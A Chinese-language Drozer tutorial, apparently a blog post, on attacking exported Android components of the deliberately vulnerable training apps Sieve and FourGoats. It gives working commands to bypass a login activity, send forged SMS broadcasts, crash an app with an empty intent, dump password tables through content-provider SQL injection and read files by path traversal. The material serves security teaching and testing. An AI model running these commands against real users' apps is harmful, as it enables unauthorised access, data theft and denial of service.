一、运行APP
在模拟器中运行drozer Agent App,并打开Embbdded Server。
二、ADB查看模拟器
打开命令行工具,并cd切换到安卓模拟器的安装路径D:\Program Files\Microvirt\MEmu
,运行adb devices
命令,查看是否能看到模拟器。如果看不到,重启模拟器试试。
三、进入Drozer控制台
使用 adb 进行端口转发,转发到上边Drozer使用的端口 31415,并进入Drozer 控制台:
adb forward tcp:31415 tcp:31415
drozer console connect
image.png
四、Drozer基本命令
4.1 列出模拟器设备中所有已经安装的App包列表
run app.package.list
Image.png
注意:如果用
run app.package.list
命令看不到安装的包,可以尝试通过用 adb命令查看所有安装的包。找到需要测试的包名以后,复制包名到下边的操作中
adb shell
pm list packages
4.2 列举APP的详细信息
利用关键词“sieve”进行搜索得出包名:
dz> run app.package.list -f sieve
com.mwr.example.sieve
dz>
查看包信息:
run app.package.info -a com.mwr.example.sieve
image.png
通过上述方式,我们已经获得应用数据目录、apk的路径、UID、GID等信息。
五、Drozer安全测试
5.1 查看sieve的可攻击点
run app.package.attacksurface com.mwr.example.sieve
image.png
5.2 activity组件
应用程序中,一个Activity通常就是一个单独的屏幕,它上面可以显示一些控件也可以监听并处理用户的事件做出响应。 Activity之间通过Intent进行通信。在Intent的描述结构中,有两个最重要的部分:动作和动作对应的数据。
通过上边的命令可以发现activity存在问题,我们查看下用apktool反编译出的的安装包的AndroidManifest.xml文件,可看到将activity的exported设置为true。说明存在被导出的分险
image5.2.1 查看对外的activity组件信息
run app.activity.info -a com.mwr.example.sieve
image.png
5.2.2 使用app.activity.start进行漏洞测试
越权漏洞--绕过登录界面导致可直接访问Your Passwords界面,说明存在越权漏洞。
run app.activity.start --component com.mwr.example.sieve com.mwr.example.sieve.PWList
image.png
5.3 Broadcast组件
BroadcastReceive广播接收器应用可以使用它对外部事件进行过滤只对感兴趣的外部事件(如当电话呼入时,或者数据网络可用时)进行接收并做出响应。广播接收器没有用户界面。然而,它们可以启动一个activity或serice 来响应它们收到的信息,或者用NotificationManager来通知用户。通知可以用很多种方式来吸引用户的注意力──闪动背灯、震动、播放声音等。一般来说是在状态栏上放一个持久的图标,用户可以打开它并获取消息。
下面使用fourgoats.apk测试Broadcast。查看fourgoats该APP的可攻击点,可以看到存在broadcast广播问题。
run app.package.attacksurface org.owasp.goatdroid.fourgoats
image
5.3.1 使用app.activity.start进行漏洞测试查看对外的broadcast组件信息
run app.broadcast.info -a org.owasp.goatdroid.fourgoats
image
5.3.2 查看反编译出的AndroidManifest.xml文件,可看到将receiver的exported设置未进行设置。说明存在越权问题,可发送恶意广播,伪造消息等等。
imageimage反编译查看源代码,发现需要两个参数phoneNumber和message。
5.3.3 漏洞利用,可发送恶意广播包
发送恶意广播
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS --extra string phoneNumber 1234 --extra string message pwnd!
5.3.4漏洞利用,拒绝服务攻击检测
尝试拒绝服务攻击检测,向广播组件发送不完整intent使用空extras,可看到应用停止运行。
run app.broadcast.send --action org.owasp.goatdroid.fourgoats.SOCIAL_SMS
image
5.4 Services组件
一个Service 是一段长生命周期的,没有用户界面的程序,可以用来开发如监控类程序。较好的一个例子就是一个正在从播放列表中播放歌曲的媒体播放器。在一个媒体播放器的应用中,应该会有多个activity,让使用者可以选择歌曲并播放歌曲。
然而,音乐重放这个功能并没有对应的activity,因为使用者当然会认为在导航到其它屏幕时音乐应该还在播放的。在这个例子中,媒体播放器这个activity 会使用Context.startService()来启动一个service,从而可以在后台保持音乐的播放。同时,系统也将保持这个service 一直执行,直到这个service 运行结束。
image另外,我们还可以通过使用Context.bindService()方法,连接到一个service 上(如果这个service 还没有运行将启动它)。当连接到一个service 之后,我们还可以service 提供的接口与它进行通讯。拿媒体播放器这个例子来说,我们还可以进行暂停、重播等操作。 intent-filter未将exported设置为false,默认是可以导出的。
org.owasp.fourgoats.goatdroid.LocationService服务被导出,不需要任何权限。所以这意味着任何与FourGoats应用程序安装在设备上的恶意应用程序可以访问设备的位置。
5.4.1 让我们尝试启动特定服务
run app.package.attacksurface org.owasp.goatdroid.fourgoats
image
查看services信息
run app.service.info -a org.owasp.goatdroid.fourgoats
启动相关服务
run app.service.start --action org.owasp.goatdroid.fourgoats.services.LocationService --component org.owasp.goatdroid.fourgoats org.owasp.goatdroid.fourgoats.services.LocationService
观察状态栏中的位置标志和GPS位置正在由FourGoats应用程序访问
image5.5 Content组件
imageandroid平台提供了Content Provider使一个应用程序的指定数据集提供给其他应用程序。这些数据可以存储在文件系统中、在一个SQLite数据库、或以任何其他合理的方式。其他应用可以通过ContentResolver类从该内容提供者中获取或存入数据。只有需要在多个应用程序间共享数据是才需要内容提供者。
5.5.1 信息泄露利用
- 扫描并获取Content Provider信息,并列出了可访问内容URI的列表和路径:
run scanner.provider.finduris -a com.mwr.example.sieve
image.png
- 查询或修改数据库中的数据,发现存在数据泄露问题,访问uri可看到一些敏感信息
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
image.png
5.5.2 SQL注入漏洞
同样content可能导致注入问题。使用以下语句进行测试发现报错,说明存在SQL注入漏洞。
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
--projection "'"
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
--selection "'"
image.png
- 列出所有表信息
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
--projection "* FROM SQLITE_MASTER WHERE type='table';--"
image.png
- 获取具体表信息
run app.provider.query content://com.mwr.example.sieve.DBContentProvider/Passwords/
--projection "* FROM Key;--"
image.png
- 同时也可以使用扫描功能对该app注入点位置进行扫描
run scanner.provider.injection -a com.mwr.example.sieve
image.png
- 列出该app的表信息
run scanner.provider.sqltables -a com.mwr.example.sieve
image.png
5.5.3 底层文件系统读取和写入(有可能被阻止)
- 文件读取
run app.provider.read content://com.mwr.example.sieve.FileBackupProvider/etc/hosts
image.png
- 文件下载
run app.provider.download content://com.mwr.example.sieve.FileBackupProvider/data
没有执行成功,执行成功后应该回显以下内容:
/data/com.mwr.example.sieve/databases/database.db /home/user/database.db
Written 24576 bytes
5.5.4 目录遍历
目录遍历漏洞
run scanner.provider.traversal -a com.mwr.example.sieve
image.png
--------------------------------------------------------------------------------------------------------------------------------
Drozer 使用指南
更多Drozer使用方法可参阅官方指南(英文): Drozer 使用指南
网友评论